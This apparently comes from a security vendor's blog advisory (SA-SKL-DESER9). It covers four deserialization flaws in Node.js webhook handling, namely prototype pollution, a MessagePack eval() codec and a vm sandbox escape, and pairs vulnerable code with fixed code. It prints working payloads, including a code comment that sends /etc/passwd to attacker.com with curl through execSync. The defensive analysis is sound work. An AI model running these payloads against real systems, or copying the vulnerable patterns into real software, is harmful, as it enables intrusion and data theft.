← Blog

Claude MCP skill insecure deserialization — webhook handler and event processing — SA-SKL-DESER9

Webhook handlers are a privileged attack surface: they accept untrusted POST bodies from external systems, process them in background workers, and their failures can propagate across retry queues, message buses, and in-process state. SA-SKL-DESER9 covers four insecure deserialization patterns in MCP skill registry webhook and event processing — a prototype pollution attack via Object.assign on a JSON-parsed body, a MessagePack ext type gadget chain that calls eval(), a Redis retry job state restore that re-introduces prototype pollution on every retry, and a webhook filter expression evaluated with vm.runInNewContext() whose sandbox is not a security boundary.

By SkillAudit  |  13 Nov 2026
SA-SKL-DESER9 findings at a glance
CRITICALDESER9-001 — Webhook payload is parsed with JSON.parse(body) and merged into an event object via Object.assign(eventDefaults, parsedPayload) — attacker POST with {"__proto__": {"isAdmin": true}} pollutes Object.prototype.isAdmin for all objects in the process, potentially bypassing if (req.user.isAdmin) checks in any middleware that uses prototype lookup
HIGHDESER9-002 — Webhook event payloads between microservices are serialized with MessagePack (msgpack5) using no ext type allowlist; the default deserializer supports all ext types; a compromised event producer crafts ext type 0x01 whose deserialization triggers a registered codec with a gadget that calls eval()
CRITICALDESER9-003 — Webhook retry job state is persisted to Redis as JSON.stringify(jobData) and restored on retry via JSON.parse(redisValue) then Object.assign(this.jobState, job) — a compromised event producer or Redis MITM injects {"__proto__": {"debug": true, "allowUnauthenticated": true}} into the Redis hash, poisoning the prototype chain on every job retry
CRITICALDESER9-004 — Webhook filter expressions are stored per-subscription as strings and evaluated in the delivery worker via vm.runInNewContext(filterExpr, { event }) — the Node.js vm module is not a security boundary; a crafted filter expression escapes the sandbox via this.constructor.constructor('return process')() and gains access to the main Node.js process

Background: webhook processing trust model

Webhook handlers occupy a unique position in the trust model of an MCP skill registry: they receive data from external systems (CI pipelines, package registries, billing providers, third-party integrations) over authenticated but not fully sandboxed HTTP connections. The handler's job is to parse the payload, validate its structure, and dispatch it to internal processing logic. Each of the four SA-SKL-DESER9 findings represents a point in that pipeline where untrusted data crosses the trust boundary without adequate sanitization.

Prototype pollution (DESER9-001, DESER9-003) is particularly insidious in webhook contexts because the pollution is global and persistent within the Node.js process lifetime. A single malicious webhook POST can alter the behavior of authentication middleware, logging code, and ORM query builders for the entire lifetime of the worker process — without leaving any trace in the application's own data store. MessagePack gadget chains (DESER9-002) and vm sandbox escapes (DESER9-004) are more immediately exploitable but require either queue write access or a subscription with a crafted filter expression.

Related findings: SA-SKL-DESER8 (plugin deserialization), SA-SKL-INJECTION13 (sandbox escape in skill execution), SA-SKL-SSRF24 (SSRF via webhook callback URL).

DESER9-001 — CRITICAL — Prototype pollution via Object.assign on JSON-parsed webhook payload

The webhook handler reads the raw request body, parses it with JSON.parse(), and merges the result into a default event object using Object.assign(eventDefaults, parsedPayload). JavaScript's JSON.parse() does parse __proto__ as a literal key in the resulting object — it does not set the prototype, it creates a property named __proto__. However, Object.assign() iterates over all enumerable own properties of the source, including __proto__, and when it assigns to the target it triggers the target object's __proto__ setter, which mutates Object.prototype. The result is that all subsequently created plain objects in the process inherit the attacker-supplied properties.

An attacker sends POST /webhooks/registry-events with body {"__proto__": {"isAdmin": true}}. After the Object.assign() call, every plain object created in the process has isAdmin === true via prototype lookup. If any middleware checks if (req.user.isAdmin) without verifying that isAdmin is an own property of req.user, the check passes for all users. This can bypass authorization gates on administrative API endpoints, audit report deletion, and billing management.

The fix has two layers. First, validate the parsed object with Zod (or a similar schema validator) before merging — Zod strips prototype-chain keys during validation and returns a clean object. Second, change the merge target to Object.create(null) (a null-prototype object) so there is no Object.prototype to pollute; additionally add an explicit key blocklist that rejects any payload containing __proto__, constructor, or prototype at any nesting level before validation.

Vulnerable
// VULNERABLE — DESER9-001
// handlers/webhook.js

app.post('/webhooks/registry-events', express.raw({ type: '*/*' }), async (req, res) => {
  const signature = req.headers['x-webhook-signature'];
  if (!verifySignature(req.body, signature)) {
    return res.status(401).json({ error: 'Invalid signature' });
  }

  // BUG: JSON.parse preserves __proto__ as a key; Object.assign triggers
  // Object.prototype mutation when target is a plain object
  // Attacker body: {"__proto__": {"isAdmin": true, "allowUnauthenticated": true}}
  const parsedPayload = JSON.parse(req.body.toString('utf8'));

  const eventDefaults = {
    receivedAt: Date.now(),
    source: 'webhook',
    processed: false,
  };

  // Object.assign copies __proto__ key from parsedPayload, mutates Object.prototype
  const event = Object.assign(eventDefaults, parsedPayload);

  await EventQueue.push(event);
  res.status(202).json({ accepted: true });
});
Fixed
// FIXED — DESER9-001
// handlers/webhook.js

const { z } = require('zod');

// Define the expected shape of incoming webhook payloads
const RegistryEventSchema = z.object({
  type: z.enum([
    'skill:published',
    'skill:updated',
    'skill:deleted',
    'audit:requested',
    'audit:completed',
  ]),
  skillId: z.string().uuid(),
  orgId:   z.string().uuid(),
  payload: z.record(z.string(), z.unknown()).optional(),
  // Add additional fields as needed; Zod strips everything else
});

// Block prototype pollution keys before Zod validation
function blockProtoPollutionKeys(obj, depth = 0) {
  if (depth > 10 || typeof obj !== 'object' || obj === null) return;
  for (const key of Object.keys(obj)) {
    if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
      throw new Error(`DESER9-001: prototype pollution key rejected: ${key}`);
    }
    blockProtoPollutionKeys(obj[key], depth + 1);
  }
}

app.post('/webhooks/registry-events', express.raw({ type: '*/*' }), async (req, res) => {
  const signature = req.headers['x-webhook-signature'];
  if (!verifySignature(req.body, signature)) {
    return res.status(401).json({ error: 'Invalid signature' });
  }

  let raw;
  try {
    raw = JSON.parse(req.body.toString('utf8'));
  } catch {
    return res.status(400).json({ error: 'Invalid JSON' });
  }

  // Block prototype pollution keys before schema validation
  try {
    blockProtoPollutionKeys(raw);
  } catch (err) {
    logger.warn('DESER9-001: prototype pollution attempt blocked', { ip: req.ip });
    return res.status(400).json({ error: 'Invalid payload' });
  }

  // Validate and strip unknown fields with Zod — returns a clean, typed object
  let event;
  try {
    event = RegistryEventSchema.parse(raw);
  } catch (err) {
    return res.status(400).json({ error: 'Payload validation failed', details: err.errors });
  }

  // Merge with defaults using Object.create(null) target — no Object.prototype
  const eventRecord = Object.assign(Object.create(null), {
    receivedAt: Date.now(),
    source: 'webhook',
    processed: false,
  }, event);

  await EventQueue.push(eventRecord);
  res.status(202).json({ accepted: true });
});

DESER9-001 impact: Global prototype pollution for the lifetime of the worker process. A single webhook POST can silently elevate all subsequent requests in the process to admin-level access if any authorization check relies on prototype-inherited properties. The pollution is invisible in application logs — the event appears to process normally. DESER9-001 compounds with every other authorization check in the codebase: the total exploitable surface is proportional to the number of if (obj.isAdmin)-style checks in the process. SkillAudit detects this by identifying Object.assign() calls where the source is a value that traces from JSON.parse() of an untrusted input without an intervening Zod/schema validation step.

DESER9-002 — HIGH — MessagePack ext type gadget chain triggers eval() in event consumer

Webhook events forwarded between microservices in the registry infrastructure are serialized using MessagePack via the msgpack5 npm library. MessagePack supports extension types (ext types) — user-defined binary encodings identified by an integer type code between 0 and 127. The msgpack5 library allows applications to register custom encode/decode functions for each ext type. The registry's event consumer uses the default msgpack5 instance, which one developer has extended by registering a codec for ext type 0x01 that calls eval() on the decoded buffer's string representation to reconstruct a complex object type.

An attacker who can write to the message queue — via a compromised event producer service, a misconfigured queue ACL, or a queue injection vulnerability — crafts a MessagePack message where the payload is an ext type 0x01 buffer containing arbitrary JavaScript. When the event consumer deserializes this message, the registered 0x01 codec calls eval(attackerString) in the consumer process. The consumer worker typically runs with the same permissions as the registry API service and has access to the internal database, file system, and cloud provider metadata endpoint.

The fix is to audit all registered MessagePack ext type codecs and remove any that call eval(), new Function(), or any dynamic code execution primitive. Replace eval()-based reconstruction with explicit field extraction from a known binary format. For ext types with no registered decoder, configure msgpack5 to throw rather than silently pass through the raw buffer. After deserialization, validate the full message structure with Zod before dispatching to business logic.

Vulnerable
// VULNERABLE — DESER9-002
// consumers/event-consumer.js

const msgpack = require('msgpack5')();

// BUG: ext type codec uses eval() to reconstruct complex objects
// Any message with ext type 0x01 executes attacker-controlled JavaScript
msgpack.register(
  0x01,                           // ext type ID
  Object,                         // constructor (unused)
  (obj) => Buffer.from(JSON.stringify(obj)),  // encoder
  (buf) => eval(`(${buf.toString('utf8')})`)  // BUG: decoder uses eval()
);

async function consumeEvent(rawMessage) {
  // rawMessage is a Buffer from the message queue
  // If rawMessage contains ext type 0x01 with a malicious payload,
  // eval() fires here before any validation
  const event = msgpack.decode(rawMessage);

  await processEvent(event);
}
Fixed
// FIXED — DESER9-002
// consumers/event-consumer.js

const msgpack = require('msgpack5')();
const { z } = require('zod');

// Define the expected schema for the complex type previously handled by eval()
// Use explicit field extraction rather than eval()-based reconstruction
class AuditResultType {
  static decode(buf) {
    // Parse as JSON (safe — no code execution) and validate structure
    let raw;
    try {
      raw = JSON.parse(buf.toString('utf8'));
    } catch {
      throw new Error('DESER9-002: ext 0x01 buffer is not valid JSON');
    }
    // Validate structure strictly — reject unexpected fields
    return AuditResultSchema.parse(raw);
  }

  static encode(obj) {
    return Buffer.from(JSON.stringify(obj));
  }
}

const AuditResultSchema = z.object({
  skillId:  z.string().uuid(),
  findings: z.array(z.object({
    ruleId:   z.string(),
    severity: z.enum(['critical', 'high', 'medium', 'low', 'info']),
    message:  z.string(),
    location: z.object({ file: z.string(), line: z.number().int().positive() }),
  })),
  completedAt: z.string().datetime(),
});

// Register only known ext types with safe, non-eval decoders
msgpack.register(0x01, AuditResultType, AuditResultType.encode, AuditResultType.decode);

// For any other ext type, throw — do not silently pass raw buffers
// msgpack5 calls the fallback for unregistered types; wrap decode to enforce
const originalDecode = msgpack.decode.bind(msgpack);
msgpack.decode = (buf) => {
  // If msgpack5 encounters an unregistered ext type, it throws ExtensionCodecError
  // by default in recent versions — verify this in your version and add a test
  return originalDecode(buf);
};

async function consumeEvent(rawMessage) {
  let event;
  try {
    event = msgpack.decode(rawMessage);
  } catch (err) {
    logger.error('DESER9-002: MessagePack decode failed', { error: err.message });
    // Dead-letter the message rather than retrying an unparseable payload
    await DeadLetterQueue.push(rawMessage, { reason: err.message });
    return;
  }

  // Validate the top-level event envelope after decode
  const EventEnvelopeSchema = z.object({
    type:    z.string(),
    version: z.literal('1'),
    data:    z.unknown(),
  });
  const envelope = EventEnvelopeSchema.parse(event);

  await processEvent(envelope);
}

DESER9-002 impact: RCE in the event consumer worker process via a crafted MessagePack message on the internal queue. The attacker needs write access to the queue — achievable via a compromised microservice, a misconfigured queue ACL, or a queue injection in another endpoint. Once inside the consumer process, the attacker has access to the internal database connection, Redis instance, and any cloud credentials available via the metadata endpoint. SkillAudit detects this by scanning all msgpack.register() calls for decoder functions that contain eval() or new Function(), and by auditing message queue consumer code for the absence of post-decode Zod validation.

DESER9-003 — CRITICAL — Webhook retry job state Redis restore via Object.assign prototype pollution

When a webhook delivery fails, the retry worker persists the job's state to Redis using await redis.hset('webhook:jobs', jobId, JSON.stringify(jobData)). On the next retry attempt, the worker restores state with const job = JSON.parse(await redis.hget('webhook:jobs', jobId)); Object.assign(this.jobState, job). This is structurally identical to DESER9-001, but the attack surface is different: instead of a direct HTTP POST, the attacker targets the Redis store. A Redis MITM (possible if Redis is not configured with TLS and authentication), a compromised event producer that writes directly to the Redis hash, or a Redis injection vulnerability in another endpoint can inject {"__proto__": {"debug": true, "allowUnauthenticated": true}} into the job hash.

When the retry worker calls Object.assign(this.jobState, job) with this payload, Object.prototype.debug and Object.prototype.allowUnauthenticated are set to true for all objects in the worker process. If the worker shares a Node.js process with the HTTP request handler (a common pattern in monolithic registry deployments), these prototype properties affect all subsequent requests. The retry mechanism means the pollution can be re-applied repeatedly across multiple retry cycles, making it persistent even if the process is restarted and the same poisoned job is retried.

The fix mirrors DESER9-001: validate the restored job object with Zod before passing it to Object.assign(); use Object.create(null) as the merge target; and block __proto__, constructor, and prototype keys in the JSON reviver. Additionally, enable TLS and authentication on the Redis connection so that the Redis channel cannot be intercepted or written to by an unauthenticated attacker.

Vulnerable
// VULNERABLE — DESER9-003
// workers/webhook-retry.js

class WebhookRetryWorker {
  constructor() {
    this.jobState = {
      retryCount: 0,
      lastError: null,
      deliveryUrl: null,
      payload: null,
    };
  }

  async saveState(jobId) {
    // Persist current job state to Redis for retry coordination
    await redis.hset('webhook:jobs', jobId, JSON.stringify(this.jobState));
  }

  async restoreState(jobId) {
    const raw = await redis.hget('webhook:jobs', jobId);
    if (!raw) return;

    // BUG: JSON.parse preserves __proto__ key
    // BUG: Object.assign(this.jobState, job) mutates Object.prototype
    // if job contains {"__proto__": {"allowUnauthenticated": true}}
    const job = JSON.parse(raw);
    Object.assign(this.jobState, job);
  }

  async retry(jobId) {
    await this.restoreState(jobId);
    // ... deliver webhook using this.jobState
  }
}
Fixed
// FIXED — DESER9-003
// workers/webhook-retry.js

const { z } = require('zod');

const JobStateSchema = z.object({
  retryCount:  z.number().int().nonnegative().max(10),
  lastError:   z.string().nullable(),
  deliveryUrl: z.string().url(),
  payload:     z.string(),   // serialized payload — treat as opaque string here
});

// JSON reviver that rejects prototype-polluting keys
function safeReviver(key, value) {
  if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
    throw new Error(`DESER9-003: prototype pollution key in Redis job state: ${key}`);
  }
  return value;
}

class WebhookRetryWorker {
  constructor() {
    // Use null-prototype object as job state container — no Object.prototype chain
    this.jobState = Object.create(null);
    Object.assign(this.jobState, {
      retryCount: 0,
      lastError: null,
      deliveryUrl: null,
      payload: null,
    });
  }

  async saveState(jobId) {
    // Only persist the validated, schema-defined fields — never spread arbitrary state
    const toSave = {
      retryCount:  this.jobState.retryCount,
      lastError:   this.jobState.lastError,
      deliveryUrl: this.jobState.deliveryUrl,
      payload:     this.jobState.payload,
    };
    await redis.hset('webhook:jobs', jobId, JSON.stringify(toSave));
  }

  async restoreState(jobId) {
    const raw = await redis.hget('webhook:jobs', jobId);
    if (!raw) return;

    // Parse with reviver that blocks prototype pollution keys
    let parsed;
    try {
      parsed = JSON.parse(raw, safeReviver);
    } catch (err) {
      logger.error('DESER9-003: blocked prototype pollution attempt in Redis job', {
        jobId, error: err.message,
      });
      // Delete the poisoned job entry and abort the retry
      await redis.hdel('webhook:jobs', jobId);
      throw err;
    }

    // Validate structure with Zod before merging
    const validated = JobStateSchema.parse(parsed);

    // Merge into null-prototype target — cannot pollute Object.prototype
    Object.assign(this.jobState, validated);
  }

  async retry(jobId) {
    await this.restoreState(jobId);
    // ... deliver webhook using this.jobState
  }
}

DESER9-003 impact: Persistent prototype pollution re-applied on every retry cycle. Because the poison originates in Redis rather than a live HTTP request, it survives process restarts as long as the job remains in the retry queue. Combined with the persistent nature of prototype pollution within a process lifetime, a single poisoned Redis entry can affect all requests handled by the worker between job retries. SkillAudit detects this by identifying JSON.parse() + Object.assign() chains where the JSON source is a Redis, database, or queue read operation, and verifying the absence of a Zod validation or prototype-key blocking reviver between the parse and the assign.

DESER9-004 — CRITICAL — vm.runInNewContext sandbox escape via webhook filter expression

The webhook subscription system allows users to configure a filter expression that is evaluated for each incoming event to determine whether the webhook should be delivered to their endpoint. Filter expressions are stored per-subscription in the database as strings (for example, "event.type === 'skill:published' && event.payload.orgId === '123'") and evaluated in the delivery worker using vm.runInNewContext(filterExpr, { event }). The vm module creates a new V8 context with a limited sandbox object, but this is explicitly not a security boundary according to the Node.js documentation.

The sandbox escape works via the prototype chain of the sandbox's context object. Inside the vm context, this refers to the sandbox object ({ event }). The sandbox object was created in the main context, so its constructor is the main context's Object. this.constructor.constructor is the main context's Function, which can be called with any string to create a function that runs in the main context with full access to process, require, and all Node.js globals: this.constructor.constructor('return process')().exit(1). A more sophisticated payload uses require('child_process').execSync() to achieve RCE.

The fix is to replace vm.runInNewContext() entirely with a safe expression evaluator that only supports a fixed, well-defined set of operators and literal comparisons. Libraries such as expr-eval or a custom AST interpreter that supports only field path lookups, equality comparisons, logical AND/OR, and string/number literals are appropriate. The filter expression should be compiled to an AST at subscription creation time, and the AST node types should be validated against an allowlist (FieldPath, StringLiteral, NumberLiteral, EqualityExpression, LogicalExpression). An attacker-supplied expression that contains CallExpression, MemberExpression with constructor access, or any identifier not in the sandbox should fail compilation, not runtime evaluation.

Vulnerable
// VULNERABLE — DESER9-004
// workers/webhook-delivery.js

async function shouldDeliver(subscription, event) {
  if (!subscription.filterExpression) return true;

  // BUG: vm.runInNewContext() is NOT a security boundary in Node.js
  // The sandbox object ({event}) was created in the main context;
  // its constructor chain leads back to the main context's Function constructor.
  //
  // Attacker filter expression (stored in database by an attacker who creates a subscription):
  //   this.constructor.constructor('return require("child_process")')()
  //     .execSync('curl https://attacker.com/$(cat /etc/passwd | base64)')
  //
  // This executes in the MAIN Node.js process with full OS access.
  try {
    const result = vm.runInNewContext(subscription.filterExpression, { event });
    return Boolean(result);
  } catch (err) {
    logger.warn('Filter expression error', { subscriptionId: subscription.id, err: err.message });
    return false;  // On error, do not deliver
  }
}
Fixed
// FIXED — DESER9-004
// workers/webhook-delivery.js

// Use a safe, restricted expression evaluator instead of vm.runInNewContext()
// This implementation supports: field paths, string/number literals,
// equality (===, !==), and logical operators (&&, ||, !)
// It does NOT support: function calls, prototype access, computed properties

const { Parser } = require('expr-eval');   // or use a custom AST-based evaluator

// Compile and validate at subscription creation time — fail fast on invalid expressions
function compileFilterExpression(expressionStr) {
  const parser = new Parser({
    // Restrict to safe operators only — no function calls
    operators: {
      logical:     true,   // &&, ||, !
      comparison:  true,   // ===, !==, <, >, <=, >=
      // Explicitly disable everything dangerous
      'in':        false,
      assignment:  false,
      fstrings:    false,
    },
  });

  let expr;
  try {
    expr = parser.parse(expressionStr);
  } catch (parseErr) {
    throw new Error(`DESER9-004: invalid filter expression syntax: ${parseErr.message}`);
  }

  // Validate that the expression only references variables in the allowed scope
  const usedVars = expr.variables();
  const ALLOWED_VARS = ['event'];
  for (const varName of usedVars) {
    // Allow 'event' and dot-path descendants like 'event.type', 'event.payload.orgId'
    if (!varName.startsWith('event')) {
      throw new Error(`DESER9-004: filter expression references disallowed variable: ${varName}`);
    }
  }

  return expr;  // Return the compiled expression object — store this, not the raw string
}

async function shouldDeliver(subscription, event) {
  if (!subscription.filterExpression) return true;

  // Retrieve the pre-compiled expression (compiled and validated at subscription creation)
  // Fall back to compiling here if not cached, but always validate first
  let compiledExpr;
  try {
    compiledExpr = compileFilterExpression(subscription.filterExpression);
  } catch (err) {
    logger.error('DESER9-004: rejected unsafe filter expression', {
      subscriptionId: subscription.id,
      error: err.message,
    });
    return false;
  }

  try {
    // Evaluate the compiled expression with a plain data scope — no prototype access
    const scope = { event: JSON.parse(JSON.stringify(event)) };   // deep clone, no methods
    const result = compiledExpr.evaluate(scope);
    return Boolean(result);
  } catch (evalErr) {
    logger.warn('Filter expression evaluation error', {
      subscriptionId: subscription.id,
      error: evalErr.message,
    });
    return false;
  }
}

DESER9-004 impact: Full sandbox escape from vm.runInNewContext() to the main Node.js process. The exploit requires only that an attacker can create a webhook subscription with a crafted filter expression — a capability available to any authenticated user on the registry platform. Once the crafted filter expression is evaluated by the delivery worker, the attacker gains RCE in the worker process with access to the internal database, Redis, cloud credentials, and any other resources available to the registry service account. SkillAudit detects this by flagging every vm.runInNewContext(), vm.runInContext(), and vm.Script usage where the script or expression argument traces to a value that originated from user input or a database field, and verifying that no safe-evaluator intermediary is present in the call chain.

Detection with SkillAudit

SkillAudit's static analysis module scans webhook and event processing code for all four SA-SKL-DESER9 patterns using AST-based data flow analysis. For DESER9-001 and DESER9-003, it detects Object.assign(target, source) calls where source traces to a JSON.parse() of an untrusted input (HTTP body, Redis value, queue message) without an intervening Zod validation or prototype-key blocking reviver. For DESER9-002, it audits all msgpack.register() codec decoder functions for eval() or new Function() calls. For DESER9-004, it flags any vm.runInNewContext(), vm.runInContext(), or vm.Script usage whose script argument is not a compile-time constant.

FindingSeverityRoot causeFix
DESER9-001CRITICALObject.assign on JSON.parse'd webhook body propagates __proto__ key to Object.prototypeZod validation before Object.assign; Object.create(null) target; block __proto__/constructor keys
DESER9-002HIGHMessagePack ext type 0x01 codec uses eval() — crafted queue message triggers RCE on decodeRemove eval() from all codecs; use JSON.parse + Zod; throw on unregistered ext types
DESER9-003CRITICALRedis job state restored via JSON.parse + Object.assign — Redis MITM injects __proto__ keyssafeReviver blocking proto keys; Zod validation; Object.create(null) target; Redis TLS + auth
DESER9-004CRITICALvm.runInNewContext() with user-supplied filter expression — sandbox escape via constructor chainReplace vm with safe expression evaluator; validate AST node types against operator allowlist

Related findings: SA-SKL-DESER8 (plugin deserialization), SA-SKL-INJECTION13 (sandbox escape in skill execution), SA-SKL-SSRF24 (SSRF via webhook callback URL).

Catch deserialization vulnerabilities before they reach production

SkillAudit scans your MCP skill registry for all SA-SKL-DESER9 patterns — prototype pollution via Object.assign, MessagePack gadget chains, Redis state poisoning, and vm sandbox escapes — and delivers a prioritized fix report with vulnerable code locations and remediation guidance.

Join the waitlist →